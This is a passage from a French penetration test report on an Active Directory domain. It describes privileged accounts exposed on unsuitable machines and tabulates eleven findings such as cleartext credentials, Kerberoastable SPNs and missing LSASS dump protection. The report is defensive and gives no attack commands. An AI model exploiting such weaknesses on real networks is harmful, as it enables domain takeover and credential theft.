Des comptes à privilèges élevés ont été observés sur des machines inadaptées à leur périmètre d'administration : • Un **compte Admins Servers** a été identifié sur le planificateur de tâche d'un poste utilisateur. • Un **compte Admin du domaine** a été observé en session sur le serveur FILER01. Ces pratiques compromettent le principe de **séparation des tiers.** La compromission d'un poste utilisateur ou d'un serveur secondaire peut entraîner l'exposition d'identifiants critiques (ex. via dump de LSASS) et mener à une escalade jusqu'au contrôle complet du domaine.

IV. Résumé des vulnérabilités

Listez l'ensemble des vulnérabilités remontées lors du pentest sous forme de tableau. Vous pouvez ajouter des sections au besoin.

Vulnérabilité V01	Présence d'identifiants avec un nom d'utilisateur identique au mot de passe. (user-as-pass)
Vulnérabilité V02	Mot de passe en clair exposé dans l'annuaire AD.
Vulnérabilité V03	Identifiants en clair dans un script partagé.
Vulnérabilité V04	Politique de mot de passe faible.
Vulnérabilité V05	Exposition de comptes privilégiés à une attaque Kerberoasting via des SPN associés.
Vulnérabilité V06	Réutilisation de mot de passe.
Vulnérabilité V07	Utilisation d'un compte Admin Servers pour une tâche planifiée.
Vulnérabilité V08	Réutilisation du compte administrateur local sur plusieurs machines.
Vulnérabilité V09	Absence de protection contre le dump de la mémoire LSASS.
Vulnérabilité V10	Identifiants Admins Servers en clair dans un script de montage réseau.
Vulnérabilité V11	Connexions inappropriées de comptes administratifs sur des machines inadaptées à leur périmètre d'administration.